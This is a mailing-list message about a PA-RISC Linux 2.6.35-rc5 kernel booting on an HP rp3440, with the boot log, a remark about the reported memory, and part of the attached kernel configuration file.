Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.35-rc5+ (root@mx3210) (gcc version 4.4.4 (GCC) ) #2 Sun Jul 18 19:03:28 EDT 2010
unwind_init: start = 0x40431000, end = 0x40458b20, entries = 10162
WARNING: Out of order unwind entry! 0000000040432080 and 0000000040432090
WARNING: Out of order unwind entry! 0000000040432090 and 00000000404320a0
WARNING: Out of order unwind entry! 0000000040432bd0 and 0000000040432be0
WARNING: Out of order unwind entry! 0000000040432be0 and 0000000040432bf0
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
Total Memory: 2046 MB
initrd: 7f917000-7ffeddfb
initrd: reserving 3f917000-3ffeddfb (mem_max 7fe00000)
Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 516615
Kernel command line: root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 2047180k/2095104k available (2653k kernel code, 47924k reserved, 1397k data, 164k init)
virtual kernel memory layout:
   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
   memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
   .init : 0x00000000405ac000 - 0x00000000405d5000   ( 164 kB)
   .data : 0x0000000040397768 - 0x00000000404f4e80   (1397 kB)
   .text : 0x0000000040100000 - 0x0000000040397768   (2653 kB)
Hierarchical RCU implementation.

Attached config.

Thought this machine had more memory...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--k1lZvvs/B4yU6o8G
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="config-2.6.35-rc5+"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.35-rc5
# Sun Jul 18 16:26:05 2010
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-linux-gnu"
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_TREE_PREEMPT_RCU is not set
# CONFIG_TINY_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=64
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=17
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_LZO=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_SLOW_WORK is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=y
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=y
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=y
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=y
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_COMPAT=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
# CONFIG_CHASSIS_LCD_LED is not set
# CONFIG_PDC_CHASSIS is not set
# CONFIG_PDC_CHASSIS_WARN is not set
# CONFIG_PDC_STABLE is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=m
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
CONFIG_INET_IPCOMP=m
CONFIG_INET_XFRM_TUNNEL=m
CONFIG_INET_TUNNEL=m
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_TPROXY is not set
CONFIG_NETFILTER_XTABLES=m

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=m

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
CONFIG_NETFILTER_XT_TARGET_DSCP=m
CONFIG_NETFILTER_XT_TARGET_HL=m
CONFIG_NETFILTER_XT_TARGET_MARK=m
# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
CONFIG_NETFILTER_XT_TARGET_RATEEST=m
# CONFIG_NETFILTER_XT_TARGET_TEE is not set
# CONFIG_NETFILTER_XT_TARGET_TRACE is not set
# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_COMMENT=m
CONFIG_NETFILTER_XT_MATCH_DCCP=m
CONFIG_NETFILTER_XT_MATCH_DSCP=m
CONFIG_NETFILTER_XT_MATCH_ESP=m
# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set
CONFIG_NETFILTER_XT_MATCH_HL=m
CONFIG_NETFILTER_XT_MATCH_IPRANGE=m
CONFIG_NETFILTER_XT_MATCH_LENGTH=m
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
CONFIG_NETFILTER_XT_MATCH_MAC=m
CONFIG_NETFILTER_XT_MATCH_MARK=m
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
# CONFIG_NETFILTER_XT_MATCH_OSF is not set
CONFIG_NETFILTER_XT_MATCH_OWNER=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
CONFIG_NETFILTER_XT_MATCH_RATEEST=m
CONFIG_NETFILTER_XT_MATCH_REALM=m
CONFIG_NETFILTER_XT_MATCH_RECENT=m
CONFIG_NETFILTER_XT_MATCH_SCTP=m
# CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set
CONFIG_NETFILTER_XT_MATCH_STRING=m
CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
# CONFIG_NETFILTER_XT_MATCH_TIME is not set
# CONFIG_NETFILTER_XT_MATCH_U32 is not set
CONFIG_IP_VS=m
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
# CONFIG_IP_VS_PROTO_SCTP is not set

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=m
CONFIG_IP_VS_WRR=m
CONFIG_IP_VS_LC=m
CONFIG_IP_VS_WLC=m
CONFIG_IP_VS_LBLC=m
CONFIG_IP_VS_LBLCR=m
CONFIG_IP_VS_DH=m
CONFIG_IP_VS_SH=m
CONFIG_IP_VS_SED=m
CONFIG_IP_VS_NQ=m

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=m

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
CONFIG_IP_NF_QUEUE=m
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_MATCH_ADDRTYPE=m
CONFIG_IP_NF_MATCH_AH=m
CONFIG_IP_NF_MATCH_ECN=m
CONFIG_IP_NF_MATCH_TTL=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_CCID3_RTO=100
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
CONFIG_SCTP_HMAC_SHA1=y
# CONFIG_SCTP_HMAC_MD5 is not set
# CONFIG_RDS is not set
CONFIG_TIPC=m
# CONFIG_TIPC_ADVANCED is not set
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
CONFIG_STP=m
CONFIG_GARP=m
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
CONFIG_NET_CLS_ROUTE=y
# CONFIG_DCB is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_WIRELESS=y
# CONFIG_CFG80211 is not set
# CONFIG_LIB80211 is not set

#
# CFG80211 needs to be enabled for MAC80211
#

#
# Some wireless drivers require a rate control algorithm
#
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
# CONFIG_STANDALONE is not set
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
CONFIG_PARPORT_PC_FIFO=y
CONFIG_PARPORT_PC_SUPERIO=y
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_AX88796 is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_UMEM=m
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_SX8=m
CONFIG_BLK_DEV_UB=m
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
CONFIG_CDROM_PKTCDVD_WCACHE=y
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_AD525X_DPOT is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
CONFIG_ENCLOSURE_SERVICES=m
# CONFIG_HP_ILO is not set
# CONFIG_ISL29003 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_DS1682 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=m
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_ENCLOSURE=m
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_HOST_SMP=y
CONFIG_SCSI_SAS_LIBSAS_DEBUG=y
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
CONFIG_BLK_DEV_3W_XXXX_RAID=m
# CONFIG_SCSI_HPSA is not set
CONFIG_SCSI_3W_9XXX=m
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
CONFIG_AIC94XX_DEBUG=y
CONFIG_SCSI_MVSAS=m
CONFIG_SCSI_MVSAS_DEBUG=y
CONFIG_SCSI_DPT_I2O=m
# CONFIG_SCSI_ADVANSYS is not set
CONFIG_SCSI_ARCMSR=m
CONFIG_MEGARAID_NEWGEN=y
CONFIG_MEGARAID_MM=m
CONFIG_MEGARAID_MAILBOX=m
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
CONFIG_SCSI_IPS=m
# CONFIG_SCSI_INITIO is not set
CONFIG_SCSI_INIA100=m
CONFIG_SCSI_PPA=m
CONFIG_SCSI_IMM=m
# CONFIG_SCSI_IZIP_EPP16 is not set
# CONFIG_SCSI_IZIP_SLOW_CTR is not set
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
CONFIG_SCSI_QLOGIC_1280=m
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
# CONFIG_SCSI_LPFC_DEBUG_FS is not set
CONFIG_SCSI_DC395x=m
# CONFIG_SCSI_DC390T is not set
CONFIG_SCSI_DEBUG=m
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
CONFIG_SCSI_DH=m
CONFIG_SCSI_DH_RDAC=m
CONFIG_SCSI_DH_HP_SW=m
CONFIG_SCSI_DH_EMC=m
CONFIG_SCSI_DH_ALUA=m
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
# CONFIG_MD_RAID456 is not set
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
# CONFIG_DM_MULTIPATH_QL is not set
# CONFIG_DM_MULTIPATH_ST is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=128
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# The newer stack is recommended.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
# CONFIG_BROADCOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
CONFIG_LASI_82596=m
